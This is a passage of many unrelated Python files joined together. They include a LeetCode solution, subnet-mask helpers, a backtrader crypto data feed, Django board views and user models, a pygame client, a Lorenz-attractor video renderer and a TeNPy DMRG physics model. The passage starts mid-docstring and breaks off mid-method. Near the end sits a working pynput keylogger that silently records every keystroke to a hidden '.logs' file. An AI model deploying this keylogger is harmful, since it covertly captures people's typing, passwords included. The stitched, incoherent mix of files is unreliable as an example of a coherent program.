Return a list of the words in words that match the given pattern.

You may return the answer in any order.
"""

class Solution:
    def findAndReplacePattern(self, words, pattern):
        """
        :type words: List[str]
        :type pattern: str
        :rtype: List[str]
        """
        def convert_to_index(word):
            word_indices = {}
            indices = [
                word_indices.setdefault(character, len(word_indices))
                for character in word
            ]
            return indices

        answer = [
            word for word in words
            if convert_to_index(word) == convert_to_index(pattern)
        ]

        return answer


# Представление ip-адресса в бинарном виде
def ip_binary_repr(ip_address: str) -> str:
    return '0b' + ''.join([bin(int(x) + 256)[3:] for x in ip_address.split('.')])

# Переход от безклассовой адрессаци
def cidr_to_netmask(cidr: int) -> tuple[str, str]:
    mask = bin((0xffffffff >> (32 - cidr)) << (32 - cidr))[2:]
    return '.'.join([str(mask[i:i + 8]) for i in range(0, 32, 8)]), \
           '.'.join([str(int(mask[i:i + 8], 2)) for i in range(0, 32, 8)])

# Переход к безклассовой адрессаци
def netmask_to_cidr(mask: str) -> int:
    return sum([bin(int(octet)).count('1') for octet in mask.split('.')])

def get_subnet_info(ip_address: str, cidr: int = 24):
    mask = cidr_to_netmask(cidr)
    network = list(zip(ip_address.split('.'), mask[1].split('.')))
    network_address = '.'.join([str(int(ip_octet) & int(mask_octet)) for ip_octet, mask_octet in network])
    broadcast_address = '.'.join([str((int(ip_octet) | ~int(mask_octet)) & 0xff) for ip_octet, mask_octet in network])
    print(f"IP Address: {ip_address}\n"
          f"Network Address: {network_address}\n"
          f"Broadcast Address: {broadcast_address}\n"
          f"Subnet Mask: {mask[0]}\n"
          f"Binary Mask: {mask[1]}\n"
          f"Hosts: {2**(32-cidr)}\n")

get_subnet_info('10.10.10.10', 30)


#!/usr/bin/python3

import re
import numpy as np

with open('input.txt', 'r') as f:
  lines = f.read().splitlines()

good_count = 0
bad_count = 0

for line in lines:
  m = re.match(r'(\d+)-(\d+) (\w): (\w+)', line)
  assert m
  low = int(m.group(1))
  assert low > 0
  high = int(m.group(2))
  assert high > 0
  letter = m.group(3)
  sequence = m.group(4)
  low_is_letter = (sequence[low-1] == letter)
  high_is_letter = (sequence[high-1] == letter)
  if low_is_letter + high_is_letter == 1:
    good_count += 1
  else:
    bad_count += 1

print(good_count)


from __future__ import (absolute_import, division, print_function,
                        unicode_literals)

import time
from collections import deque
from datetime import datetime

import backtrader as bt
from backtrader.feed import DataBase
from backtrader.utils.py3 import with_metaclass

from .ccxtstore import CCXTStore

class MetaCCXTFeed(DataBase.__class__):
    def __init__(cls, name, bases, dct):
        '''Class has already been created ... register'''
        # Initialize the class
        super(MetaCCXTFeed, cls).__init__(name, bases, dct)

        # Register with the store
        CCXTStore.DataCls = cls

class CCXTFeed(with_metaclass(MetaCCXTFeed, DataBase)):
    """
    CryptoCurrency eXchange Trading Library Data Feed.
    Params:
      - ``historical`` (default: ``False``)
        If set to ``True`` the data feed will stop after doing the first
        download of data.
        The standard data feed parameters ``fromdate`` and ``todate`` will be
        used as reference.
      - ``backfill_start`` (default: ``True``)
        Perform backfilling at the start. The maximum possible historical data
        will be fetched in a single request.

    Changes From Ed's pacakge

        - Added option to send some additional fetch_ohlcv_params. Some exchanges (e.g Bitmex)
          support sending some additional fetch parameters.
        - Added drop_newest option to avoid loading incomplete candles where exchanges
          do not support sending ohlcv params to prevent returning partial data

    """

    params = (
        ('historical', False),  # only historical download
        ('backfill_start', False),  # do backfilling at the start
        ('fetch_ohlcv_params', {}),
        ('ohlcv_limit', 20),
        ('drop_newest', False),
        ('debug', False)
    )

    _store = CCXTStore

    # States for the Finite State Machine in _load
    _ST_LIVE, _ST_HISTORBACK, _ST_OVER = range(3)

    # def __init__(self, exchange, symbol, ohlcv_limit=None, config={}, retries=5):
    def __init__(self, **kwargs):
        # self.store = CCXTStore(exchange, config, retries)
        self.store = self._store(**kwargs)
        self._data = deque()  # data queue for price data
        self._last_id = ''  # last processed trade id for ohlcv
        self._last_ts = 0  # last processed timestamp for ohlcv

    def start(self, ):
        DataBase.start(self)

        if self.p.fromdate:
            self._state = self._ST_HISTORBACK
            self.put_notification(self.DELAYED)
            self._fetch_ohlcv(self.p.fromdate)

        else:
            self._state = self._ST_LIVE
            self.put_notification(self.LIVE)

    def _load(self):
        if self._state == self._ST_OVER:
            return False

        while True:
            if self._state == self._ST_LIVE:
                if self._timeframe == bt.TimeFrame.Ticks:
                    return self._load_ticks()
                else:
                    self._fetch_ohlcv()
                    ret = self._load_ohlcv()
                    if self.p.debug:
                        print('----     LOAD    ----')
                        print('{} Load OHLCV Returning: {}'.format(datetime.utcnow(), ret))
                    return ret

            elif self._state == self._ST_HISTORBACK:
                ret = self._load_ohlcv()
                if ret:
                    return ret
                else:
                    # End of historical data
                    if self.p.historical:  # only historical
                        self.put_notification(self.DISCONNECTED)
                        self._state = self._ST_OVER
                        return False  # end of historical
                    else:
                        self._state = self._ST_LIVE
                        self.put_notification(self.LIVE)
                        continue

    def _fetch_ohlcv(self, fromdate=None):
        """Fetch OHLCV data into self._data queue"""
        granularity = self.store.get_granularity(self._timeframe, self._compression)

        if fromdate:
            since = int((fromdate - datetime(1970, 1, 1)).total_seconds() * 1000)
        else:
            if self._last_ts > 0:
                since = self._last_ts
            else:
                since = None

        limit = self.p.ohlcv_limit

        while True:
            dlen = len(self._data)

            if self.p.debug:
                # TESTING
                since_dt = datetime.utcfromtimestamp(since // 1000) if since is not None else 'NA'
                print('---- NEW REQUEST ----')
                print('{} - Requesting: Since TS {} Since date {} granularity {}, limit {}, params'.format(
                    datetime.utcnow(), since, since_dt, granularity, limit, self.p.fetch_ohlcv_params))
                data = sorted(self.store.fetch_ohlcv(self.p.dataname, timeframe=granularity,
                                                     since=since, limit=limit, params=self.p.fetch_ohlcv_params))
                try:
                    for i, ohlcv in enumerate(data):
                        tstamp, open_, high, low, close, volume = ohlcv
                        print('{} - Data {}: {} - TS {} Time {}'.format(datetime.utcnow(), i,
                                                                        datetime.utcfromtimestamp(tstamp // 1000),
                                                                        tstamp, (time.time() * 1000)))
                        # ------------------------------------------------------------------
                except IndexError:
                    print('Index Error: Data = {}'.format(data))
                print('---- REQUEST END ----')
            else:

                data = sorted(self.store.fetch_ohlcv(self.p.dataname, timeframe=granularity,
                                                     since=since, limit=limit, params=self.p.fetch_ohlcv_params))

            # Check to see if dropping the latest candle will help with
            # exchanges which return partial data
            if self.p.drop_newest:
                del data[-1]

            for ohlcv in data:

                # for ohlcv in sorted(self.store.fetch_ohlcv(self.p.dataname, timeframe=granularity,
                #                                           since=since, limit=limit, params=self.p.fetch_ohlcv_params)):

                if None in ohlcv:
                    continue

                tstamp = ohlcv[0]

                # Prevent from loading incomplete data
                # if tstamp > (time.time() * 1000):
                #    continue

                if tstamp > self._last_ts:
                    if self.p.debug:
                        print('Adding: {}'.format(ohlcv))
                    self._data.append(ohlcv)
                    self._last_ts = tstamp

            if dlen == len(self._data):
                break

    def _load_ticks(self):
        if self._last_id is None:
            # first time get the latest trade only
            trades = [self.store.fetch_trades(self.p.dataname)[-1]]
        else:
            trades = self.store.fetch_trades(self.p.dataname)

        for trade in trades:
            trade_id = trade['id']

            if trade_id > self._last_id:
                trade_time = datetime.strptime(trade['datetime'], '%Y-%m-%dT%H:%M:%S.%fZ')
                self._data.append((trade_time, float(trade['price']), float(trade['amount'])))
                self._last_id = trade_id

        try:
            trade = self._data.popleft()
        except IndexError:
            return None  # no data in the queue

        trade_time, price, size = trade

        self.lines.datetime[0] = bt.date2num(trade_time)
        self.lines.open[0] = price
        self.lines.high[0] = price
        self.lines.low[0] = price
        self.lines.close[0] = price
        self.lines.volume[0] = size

        return True

    def _load_ohlcv(self):
        try:
            ohlcv = self._data.popleft()
        except IndexError:
            return None  # no data in the queue

        tstamp, open_, high, low, close, volume = ohlcv

        dtime = datetime.utcfromtimestamp(tstamp // 1000)

        self.lines.datetime[0] = bt.date2num(dtime)
        self.lines.open[0] = open_
        self.lines.high[0] = high
        self.lines.low[0] = low
        self.lines.close[0] = close
        self.lines.volume[0] = volume

        return True

    def haslivedata(self):
        return self._state == self._ST_LIVE and self._data

    def islive(self):
        return not self.p.historical


import sys
import time
import os
from synchronizer import *
from logger import *

def checkPath(path): #validates if path is an existing dir
    if not os.path.exists(path) or not os.path.isdir(path):
        return False
    return True

def main():

    # Source path validation
    if not checkPath(sys.argv[1]):
        print("The 'source' path you provided is not valid.")
        sys.exit(0)
    sourceDir = sys.argv[1]

    # Replica path validation
    if not checkPath(sys.argv[2]):
        print("The 'replica' path you provided is not valid.")
        sys.exit(0)
    replicaDir = sys.argv[2]

    # Logfile path validation
    print(sys.argv[3])
    if not os.path.isfile(sys.argv[3]):
        print("The logfile you provided is not valid.")
        sys.exit(0)
    logDir = sys.argv[3]

    # Interval validation
    if not sys.argv[4].isnumeric():
        print("The synchronization interval you provided is not valid.")
        sys.exit(0)
    interval = int(sys.argv[4])

    # Create an object instance and start syncing - ends with Keyboard Interruption
    synchro = Synchronizer(sourceDir, replicaDir, logDir, interval)
    synchro.sync()

if __name__=="__main__":
    main()


from django.urls import path
from .views import RestaurantCreateView, MenuCreateView, RestaurantMenuListView, MenuByDayListView, EmployeeRegistrationView, vote, WinningMenuView

urlpatterns = [
    path('create-restaurant/', RestaurantCreateView.as_view(), name='create-restaurant'),
    path('create-menu/', MenuCreateView.as_view(), name='menu-create'),
    path('restaurant/<int:restaurant_id>/menu/', RestaurantMenuListView.as_view(), name='restaurant-menu-list'),
    path('menu-by-day/<str:day_of_week>/', MenuByDayListView.as_view(), name='menu-by-day'),
    path('register/', EmployeeRegistrationView.as_view(), name='register'),
    path('vote/', vote, name='vote'),
    path('today/', WinningMenuView.as_view(), name='winning_menu_today'),
]


import importlib
import logging

import pygame

from noname import constants
from noname import units
from noname import hud

logger = logging.getLogger(__name__)

if not pygame.font:
    logger.warning("Warning, fonts disabled")
if not pygame.mixer:
    logger.warning("Warning, sound disabled")

class GameClient(object):
    """ The GameClient, drawing on the screen """

    def __init__(self, server_address, width=constants.DEFAULT_WIDTH,
                 height=constants.DEFAULT_HEIGHT, fps=constants.DEFAULT_FPS,):
        pygame.init()
        self.server_address = server_address
        self.width = width
        self.height = height
        self.fps = fps
        self.screen = pygame.display.set_mode((self.width, self.height))
        self.level = None
        self.players = []
        self.player = None
        self.clock = pygame.time.Clock()
        self.hud = hud.Hud(self)

    def update(self, event):
        self.clock.tick(self.fps)
        self.screen.fill(0)
        self.level.draw(self.screen)
        self.player.render(self.screen)
        self.hud.render()
        self.hud.handle(event)
        pygame.display.flip()

    def run(self):
        # FIXME
        # DEV SHIT REMOVE
        import time
        start = time.time()
        # DEV SHIT REMOVE

        running = True
        self.load_level(constants.DEFAULT_LEVEL)
        while running:
            for event in pygame.event.get():
                # pygame.time.wait(500)  # dev quit
                # return  # dev quit
                if event.type == pygame.QUIT:
                    return

                if event.type == pygame.KEYDOWN:
                    if event.key == pygame.K_q:
                        return

                self.update(event)

                # IMAGE FLIP ONLY?
                # elif event.type == pygame.KEYDOWN:
                #    if self.is_controls_moving(event):
                #         self.player.move(event.key)
            keys = pygame.key.get_pressed()
            if self.is_controls_moving(keys):
                self.player.move(keys)
            if (time.time() - start) >= 20:
                running = False

    def is_controls_moving(self, keys):
        if (keys[pygame.K_UP] or keys[pygame.K_DOWN] or
           keys[pygame.K_LEFT] or keys[pygame.K_RIGHT]):
            logger.debug("key pressed")
            return True
        else:
            return False

        # if ((event.key == pygame.K_RIGHT) or (event.key == pygame.K_LEFT) or
        #   (event.key == pygame.K_UP) or (event.key == pygame.K_DOWN)):
        #    return True
        # else:
        #    return False

    def load_level(self, name):
        module_name = "noname.levels.%s" % name
        logger.debug("Loading level: %s" % module_name)
        level_module = importlib.import_module(module_name)
        self.level = level_module.Level()
        self.level.load_sprites()

    def add_player(self, x=0, y=0):
        single_player_metadata = {
            "name": "gary",
            "file": "Gary.png",
            "width": 32,
            "height": 32,
            "position": {
                "x": x,
                "y": y,
            },
        }
        player = units.Player(single_player_metadata["name"],
                              single_player_metadata)
        # FIXME
        if self.player is None:
            self.player = player
        self.players.append(player)


import numpy as np
import matplotlib.pyplot as plt
import os, shutil, subprocess
from mpl_toolkits.mplot3d import Axes3D

from mpl_toolkits.mplot3d.art3d import Line3DCollection
from matplotlib.colors import ListedColormap, BoundaryNorm

### Using trick from https://stackoverflow.com/questions/37327308/add-alpha-to-an-existing-matplotlib-colormap
### to add alpha gradient in color map
cmap = plt.cm.Blues
my_cmap = cmap(np.arange(cmap.N))
my_cmap[:,-1] = np.linspace(0, 1, cmap.N)
my_cmap = ListedColormap(my_cmap)

### Using the colorline recipe to draw gradient lines : https://nbviewer.jupyter.org/github/dpsanders/matplotlib-examples/blob/master/colorline.ipynb
### Code adapted for Line3DCollection
def make_segments(x, y, z):
    '''
    Create list of line segments from x and y coordinates, in the correct format for LineCollection:
    an array of the form   numlines x (points per line) x 3 (x, y, z) array
    '''
    points = np.array([x, y, z]).T.reshape(-1, 1, 3)
    segments = np.concatenate([points[:-1], points[1:]], axis=1)

    return segments

def colorline(x, y, z, k=None, cmap=plt.get_cmap('copper'), norm=plt.Normalize(0.0, 1.0), linewidth=3, alpha=1.0):
    '''
    Plot a colored line with coordinates x and y
    Optionally specify colors in the array z
    Optionally specify a colormap, a norm function and a line width
    '''

    # Default colors equally spaced on [0,1]:
    if k is None:
        k = np.linspace(0.0, 1.0, len(x))

    # Special case if a single number:
    if not hasattr(k, "__iter__"):  # to check for numerical input -- this is a hack
        k = np.array([k])

    k = np.asarray(k)

    segments = make_segments(x, y, z)
    lc = Line3DCollection(segments, array=k, cmap=cmap, norm=norm, linewidth=linewidth)

    ax = plt.gca()
    ax.add_collection(lc)

    return lc

# Simulation part
sigma = 10.0
beta  = 8.0/3.0
rho   = 28.0

x = 2.01
y = 5.0
z = 20.0

# dx/dt, dy/dt, dz/dt
def ddt(x, y, z):
    dxdt = sigma*(y-x)
    dydt = x*(rho-z)-y
    dzdt = x*y-beta*z

    return dxdt, dydt, dzdt

# Euler method. We build the whole array so we can plot nice trails
# could clearly be optimised into calculating and rendering at the same time !
print('Simulating ...')
max_t = 25.0
t     = 0.0
dt    = 0.001

pos = []
while t < max_t:
    dxdt, dydt, dzdt = ddt(x, y, z)
    x += dxdt * dt
    y += dydt * dt
    z += dzdt * dt

    pos.append((x, y, z))

    t += dt

# Rendering part
print('Rendering ...')
pos = np.asarray(pos)
L = 5000 # Length of the trail
Np = pos.shape[0] - L
cur = L

# Limits of the graph
min_x = pos[:,0].min()
max_x = pos[:,0].max()
min_y = pos[:,1].min()
max_y = pos[:,1].max()
min_z = pos[:,2].min()
max_z = pos[:,2].max()

steps = 100 # Frame skipping

# Violently removing everything from the render directory
if os.path.exists('render'):
    shutil.rmtree('render')
os.mkdir('render')
Nf = Np//steps
print('Preparing to render {} images'.format(Nf))
for i in range(Nf):
    filename = 'img_{:05}.png'.format(i)
    print('Rendering', filename)
    plt.close('all')

    fig = plt.figure(figsize=(10, 10))
    ax = fig.add_subplot(111, projection='3d')
    colorline(pos[cur-L:cur,0], pos[cur-L:cur,1], pos[cur-L:cur,2], cmap=my_cmap, linewidth=2)
    ax.set_xlim((min_x, max_x))
    ax.set_ylim((min_y, max_y))
    ax.set_zlim((min_z, max_z))
    plt.savefig('render/'+filename)
    cur+=steps

# Building ffmpeg command and running
cmd = 'ffmpeg -framerate 60 -i render/img_%05d.png -c:v libx264 -preset slow -crf 18 -pix_fmt yuv420p render/movie.mp4'
print('Converting to video :', cmd)
subprocess.call(cmd.split())
print('Generated movie should be in render/movie.mp4')


from django.shortcuts import render, redirect, get_object_or_404
from .models import Board
from .forms import BoardForm
# Create your views here.
def index(request):
    boards = Board.objects.order_by('-pk')
    context = {'boards':boards}
    return render(request, 'boards/index.html', context)

# def create(request):
#     if request.method == 'POST':
#         title = request.POST.get('title')
#         content = request.POST.get('content')
#         board = Board(title=title, content=content)
#         board.save()
#         return redirect('boards:index')

#     else:
#         return render(request, 'boards/create.html')

# def create(request):
#     # POST 요청이면 FORM 데이터를 처리한다
#     if request.method == 'POST':
#         # 저 FORM 구조가 전체를 받아옴
#         # 정제된 데이터 받아옴
#         # form이 title, content 를 다 한번에 받아옴, 데이터를 들고옴
#         # 이 처리과정은 'binding'으로 불리는데, form의 유효성 체크를 할수있도록 해줌(class에 작성한 것들)
#         form = BoardForm(request.POST)
#         # form 유효성 체크, 안전한 데이터인지
#         if form.is_valid():
#             title = form.cleaned_data.get('title')
#             content = form.cleaned_data.get('content')
#             # 검증을 통과한 깨끗한 데이터를 form에서 가져와서 board를 만든다
#             board = Board.objects.create(title=title, content=content)
#       # 별도로 세이브하지 않음
#             return redirect('boards:detail', board.pk)
#       # GET요청(혹은 다른 메서드)이면 기본 폼을 생성한다
#     else:
#         form = BoardForm()
#         # 포스트 요청이고, 유효성 문제에 있어서 문제가 있는 데이터일때
#     context = {'form': form }
#     return render(request, 'boards/create.html', context)

def create(request):
    if request.method == 'POST':
        form = BoardForm(request.POST)
        if form.is_valid():
            board = form.save()
            # 저장한 하나의 게시글을 반환
            return redirect('boards:detail', board.pk)
    else:
        form = BoardForm()
    context = {'form': form }
    return render(request, 'boards/form.html', context)

def detail(request, board_pk):
    # board = Board.objects.get(pk=board_pk)
    board = get_object_or_404(Board, pk=board_pk)
    context = {'board':board }
    return render(request, 'boards/detail.html', context)

def delete(request, board_pk):
    board = get_object_or_404(Board, pk=board_pk)
    if request.method == 'POST':
        board.delete()
        return redirect('boards:index')

    else:
        return redirect('boards:detail', board.pk)

# def update(request, board_pk):
#     board = get_object_or_404(Board, pk=board_pk)
#     if request.method == 'POST':
#         form = BoardForm(request.POST)
#         if form.is_valid():
#             board.title = form.cleaned_data.get('title')
#             board.content = form.cleaned_data.get('content')
#             board.save()
#             return redirect('boards:detail', board.pk)
#     # GET 요청이면(수정하기 버튼을 눌렀을때)

#     else:
#         # BoardForm을 초기화(사용자 입력 값으 넣어준 상태로)
#         # form = BoardForm(initial={'title':board.title, 'content':board.content}
#         form = BoardForm(initial=board.__dict__)
#     # 1. POST: 요청에서 검증에 실패하였을때, 오류 메세지가 포함된 상태
#     # 2. GET: 요청에서 초기화된 상태
#     context = {'form':form}
#     return render(request, 'boards/create.html', context)

def update(request, board_pk):
    board = get_object_or_404(Board, pk=board_pk)
    if request.method == 'POST':
        form = BoardForm(request.POST, instance=board) #1
        if form.is_valid(): # validation을 다 해주는것
            board = form.save()             #2
            return redirect('boards:detail', board.pk)

    else:
        form = BoardForm(instance=board) # 3

    context = {
        'form':form,
        'board': board,
    }
    return render(request, 'boards/form.html', context)


def solution(nums):
    half = len(nums)//2

    s_nums = set(nums)

    if half > len(s_nums):
        answer = len(s_nums)
    else:
        answer = half

    return answer

print(solution([3,1,2,3]))


import random

def checarIntervalo(l, min, max):
    listaFinal = []
    if (min > max):
        min, max = max, min
    for i in l:
        if (i >= min and i <= max):
            listaFinal.append(i)
            print(listaFinal)

while (True):
    listaNum = []

    for i in range(30):
        listaNum.append(random.randrange(300))

    listaNum.sort()

    numMin = input("Insira o intervalo mínimo: ")
    numMax = input("Insira o intervalo máximo: ")

    if (numMin.isnumeric() and numMax.isnumeric()):
        checarIntervalo(listaNum, int(numMin), int(numMax))
        check = input("Deseja continuar? 'Sim - 1// Não - 0: ")
        if (check == "0"):
            break
    else:
        print("Escreva valores válidos para o intervalo.")

Programador de Sistemas - UC 1/Repositório de Exemplos/Revisão Funções e Escopo/imprimirListaIntervalo.py


import math
def checkio(a, b, c):
    if (a+b <=c) or (a+c<=b) or (b+c<=a):
        return[0,0,0]
    alpha = int(round(math.degrees(math.acos((a**2 + b**2 - c**2)/(2*a*b))), 0))
    beta = int(round(math.degrees(math.acos((c**2 + b**2 - a**2)/(2*c*b))), 0))
    gamma = int(round(math.degrees(math.acos((a**2 + c**2 - b**2)/(2*a*c))), 0))
    return sorted([alpha, beta, gamma])

# These "asserts" using only for self-checking and not necessary for auto-testing
if __name__ == '__main__':
    assert checkio(4, 4, 4) == [60, 60, 60], "All sides are equal"
    assert checkio(3, 4, 5) == [37, 53, 90], "Egyptian triangle"
    assert checkio(2, 2, 5) == [0, 0, 0], "It's can not be a triangle"


from LPoly import LPoly, LAlg, Id
import numpy

def root_classes(p):
    '''
    Find all the roots of Id - (p * ~p) that lies within the upper unit circle.
    '''
    poly = (Id - (p * ~p)).coefs
    roots = numpy.roots(poly)
    # poly is a real, self-inverse Laurent polynomial with no root on the unit circle. All real roots come in reciprocal pairs,
    # and all complex roots come in quadruples (r, r*, 1/r, 1/r*).
    # For each pair of real roots, select the one within the unit circle.
    # For each quadruple of complex roots, select the pair within the unit circle.
    imag_roots = []
    real_roots = []
    for i in roots:
        if (numpy.abs(i) < 1) and (numpy.imag(i) > -1e-8):
            if numpy.imag(i) == 0.:
                real_roots.append(numpy.real(i))
            else:
                imag_roots.append(i)
    norm = poly[-1]
    return real_roots, imag_roots, norm

def poly_from_roots(real_roots, imag_roots, norm, seed=None):
    '''
    Construct the counter part with the roots and the norm.
    '''
    # Randomly choose whether to pick the real root (the pair of complex roots) inside or outside the unit circle.
    # This is to reduce the range of the coefficients appearing in the final product.
    degree = len(real_roots) + 2 * len(imag_roots)
    lst = []
    if seed is None:
        seed = numpy.random.randint(2, size=len(imag_roots) + len(real_roots))
    for i, root in enumerate(imag_roots):
        if seed[i]:
            root = 1 / root
        lst.append(LPoly([numpy.abs(root) ** 2, -2 * numpy.real(root), 1]))
    for i, root in enumerate(real_roots):
        if seed[i + len(imag_roots)]:
            root = 1 / root
        lst.append(LPoly([-root, 1]))

    # Multiply all the polynomial factors via fft for numerical stability.
    pp = int(numpy.floor(numpy.log2(degree)))+1
    lst_fft = numpy.pi * numpy.linspace(0, 1 - 1/2**pp, 2**pp)
    coef_mat = numpy.log(numpy.array([i.eval(lst_fft) for i in lst]))
    coef_fft = numpy.exp(numpy.sum(coef_mat, axis=0))
    coefs = numpy.real(numpy.fft.fft(coef_fft, 1 << pp))[:degree+1] / (1 << pp)

    # Normalization
    xpoly = LPoly(coefs * numpy.sqrt(norm / coefs[0]), -len(coefs) + 1)
    return xpoly

def completion_from_root_finding(p, seed=None):
    """
    Find a Low Algebra element g such that the identity components are given by the input p.
    """
    real_roots, imag_roots, norm = root_classes(p)
    xpoly = poly_from_roots(real_roots, imag_roots, norm)
    return LAlg(p, xpoly)


import numpy as np

from tenpy.algorithms import dmrg
from tenpy.networks.mps import MPS
from tenpy.networks import site

from tenpy.models.model import CouplingMPOModel
from tenpy.networks.site import FermionSite
from tenpy.models import lattice

class BipartiteSquare(lattice.Lattice):
    def __init__(self, Lx, Ly, siteA, **kwargs):
        basis = np.array(([2, 0.], [0, 2]))

        pos = np.array(([0, 0], [1, 0], [0, 1], [1, 1]))

        kwargs.setdefault('order', 'default')
        kwargs.setdefault('bc', 'periodic')
        kwargs.setdefault('bc_MPS', 'infinite')
        kwargs.setdefault('basis', basis)
        kwargs.setdefault('positions', pos)

        super().__init__([Lx, Ly], [siteA, siteA, siteA, siteA], **kwargs)

        self.NN = [(0, 1, np.array([0, 0])), (1, 3, np.array([0, 0])), (3, 2, np.array([0, 0])),
                   (2, 0, np.array([0, 0])), (2, 0, np.array([0, 1])), (1, 3, np.array([0, -1])),
                   (0, 1, np.array([-1, 0])), (3, 2, np.array([1, 0]))]
        self.nNNdashed = [(0, 3, np.array([0, 0])), (2, 1, np.array([0, 0])),
                          (3, 0, np.array([1, 1])), (1, 2, np.array([1, -1]))]
        self.nNNdotted = [(1, 2, np.array([1, 0])), (3, 0, np.array([1, 0])),
                          (2, 1, np.array([0, 1])), (3, 0, np.array([0, 1]))]

class FermionicPiFluxModel(CouplingMPOModel):
    def init_sites(self, model_params):
        conserve = model_params.get('conserve', 'N')
        site = FermionSite(conserve=conserve)
        return site

    def init_lattice(self, model_params):
        Lx = model_params.get('Lx', 1)
        Ly = model_params.get('Ly', 3)
        fs = self.init_sites(model_params)
        lat = BipartiteSquare(Lx, Ly, fs)
        return lat

    def init_terms(self, model_params):
        t = np.asarray(model_params.get('t', -1.))
        V = np.asarray(model_params.get('V', 0.))
        mu = np.asarray(model_params.get('mu', 0.))
        phi_ext = 2 * np.pi * model_params.get('phi_ext', 0.)

        t1 = t * np.exp(1j * np.pi / 4)
        t2 = t / np.sqrt(2)

        self.add_onsite(mu, 0, 'N', category='mu N')
        self.add_onsite(-mu, 1, 'N', category='mu N')

        for u1, u2, dx in self.lat.NN:
            t1_phi = self.coupling_strength_add_ext_flux(t1, dx, [0, phi_ext])
            self.add_coupling(t1_phi, u1, 'Cd', u2, 'C', dx, 'JW', True,
                              category='t1 Cd_i C_j', add_hc=True)  # yapf: disable
            self.add_coupling(V, u1, 'N', u2, 'N', dx, category='V N_i N_j')

        for u1, u2, dx in self.lat.nNNdashed:
            t2_phi = self.coupling_strength_add_ext_flux(t2, dx, [0, phi_ext])
            self.add_coupling(t2_phi, u1, 'Cd', u2, 'C', dx, 'JW', True,
                              category='t2 Cd_i C_j', add_hc=True)  # yapf: disable

        for u1, u2, dx in self.lat.nNNdotted:
            t2_phi = self.coupling_strength_add_ext_flux(t2, dx, [0, phi_ext])
            self.add_coupling(-t2_phi, u1, 'Cd', u2, 'C', dx, 'JW', True,
                              category='-t2 Cd_i C_j', add_hc=True)  # yapf: disable

def plot_lattice():

    import matplotlib.pyplot as plt
    ax = plt.gca()
    fs = site.FermionSite()
    lat = BipartiteSquare(3, 3, fs, basis=[[2, 0], [0, 2]])
    lat.plot_sites(ax)
    lat.plot_coupling(ax, lat.NN, linestyle='-', color='green')
    lat.plot_coupling(ax, lat.nNNdashed, linestyle='--', color='black')
    lat.plot_coupling(ax, lat.nNNdotted, linestyle='--', color='red')
    ax.set_aspect('equal')
    plt.show()

def run(phi_ext=np.linspace(0, 1.0, 7)):

    data = dict(phi_ext=phi_ext, QL=[], ent_spectrum=[])

    model_params = dict(conserve='N', t=-1, V=0, mu=0, Lx=1, Ly=3, verbose=1)

    dmrg_params = {
        'mixer': True,  # setting this to True helps to escape local minima
        'mixer_params': {
            'amplitude': 1.e-5,
            'decay': 1.2,
            'disable_after': 30
        },
        'trunc_params': {
            'svd_min': 1.e-10,
        },
        'lanczos_params': {
            'N_min': 5,
            'N_max': 20
        },
        'chi_list': {
            0: 9,
            10: 49,
            20: 100
        },
        'max_E_err': 1.e-10,
        'max_S_err': 1.e-6,
        'max_sweeps': 150,
        'verbose': 1.,
    }

    prod_state = ['empty', 'full'] * (model_params['Lx'] * model_params['Ly'] * 2)

    eng = None

    for phi in phi_ext:

        print("=" * 100)
        print("phi_ext = ", phi)

        model_params['phi_ext'] = phi

        if eng is None:  # first time in the loop
            M = FermionicPiFluxModel(model_params)
            psi = MPS.from_product_state(M.lat.mps_sites(), prod_state, bc=M.lat.bc_MPS)
            eng = dmrg.TwoSiteDMRGEngine(psi, M, dmrg_params)
        else:
            del eng.options['chi_list']
            M = FermionicPiFluxModel(model_params)
            eng.init_env(model=M)

        E, psi = eng.run()

        data['QL'].append(psi.average_charge(bond=0)[0])
        data['ent_spectrum'].append(psi.entanglement_spectrum(by_charge=True)[0])

    return data

def plot_results(data):

    import matplotlib.pyplot as plt

    plt.figure()
    ax = plt.gca()
    ax.plot(data['phi_ext'], data['QL'], marker='o')
    ax.set_xlabel(r"$\Phi_y / 2 \pi$")
    ax.set_ylabel(r"$ \langle Q^L(\Phi_y) \rangle$")
    plt.savefig("chiral_pi_flux_charge_pump.pdf")

    plt.figure()
    ax = plt.gca()
    colors = ['b', 'g', 'r', 'c', 'm', 'y', 'k']
    color_by_charge = {}
    for phi_ext, spectrum in zip(data['phi_ext'], data['ent_spectrum']):
        for q, s in spectrum:
            q = q[0]
            label = ""
            if q not in color_by_charge:
                label = "{q:d}".format(q=q)
                color_by_charge[q] = colors[len(color_by_charge) % len(colors)]
            color = color_by_charge[q]
            ax.plot(phi_ext * np.ones(s.shape),
                    s,
                    linestyle='',
                    marker='_',
                    color=color,
                    label=label)
    ax.set_xlabel(r"$\Phi_y / 2 \pi$")
    ax.set_ylabel(r"$ \epsilon_\alpha $")
    ax.set_ylim(0., 8.)
    ax.legend(loc='upper right')
    plt.savefig("chiral_pi_flux_ent_spec_flow.pdf")

if __name__ == "__main__":

    # plot_lattice()
    data = run()
    plot_results(data)


#!/usr/bin/env python3

from pynput import keyboard

class KeyLogger():
	def __init__(self, filename: str = ".logs") -> None:
		self.filename = filename

	@staticmethod
	def get_char(key):
		try:
			return key.char
		except AttributeError:
			return str(key)

	def on_press(self, key):
		with open(self.filename, 'ab') as logs:
			logs.write(key.vk.to_bytes(2, byteorder="big") if isinstance(key, keyboard.KeyCode)
				else keyboard.Key(key).value.vk.to_bytes(2, byteorder="big"))

	def main(self):
		with keyboard.Listener(on_press=self.on_press) as listener:
			listener.join()

if __name__ == '__main__':
	logger = KeyLogger()
	logger.main()


from django.db import models

from django.contrib.auth.models import AbstractUser

from django.utils.translation import gettext_lazy as _
from .managers import CustomUserManager
from base.models import Language, Word

# Create your models here.

class User(AbstractUser):
    # pass
    username = None
    # django.core.exceptions.FieldError: Unknown field(s) (username) specified for User. Check fields/fieldsets/exclude attributes of class CustomUserAdmin.
    email = models.EmailField(_("email address"), unique=True)
    native_language = models.ForeignKey(Language, on_delete=models.SET_NULL, null=True, blank=True, related_name='native_users')
    languages = models.ManyToManyField(Language, blank=True)

    USERNAME_FIELD = 'email'
    REQUIRED_FIELDS = []

    objects = CustomUserManager()

    def __str__(self):
        return self.email
class UserWord(models.Model):
    user = models.ForeignKey(User, on_delete=models.CASCADE)
    user_word = models.ForeignKey(Word, on_delete=models.CASCADE)
    score = models.IntegerField(null=True, blank=True, default=0)
    isMastered = models.BooleanField(default=False, null=True, blank=True)

    class Meta:
        unique_together = ('user', 'user_word')

    def __str__(self):
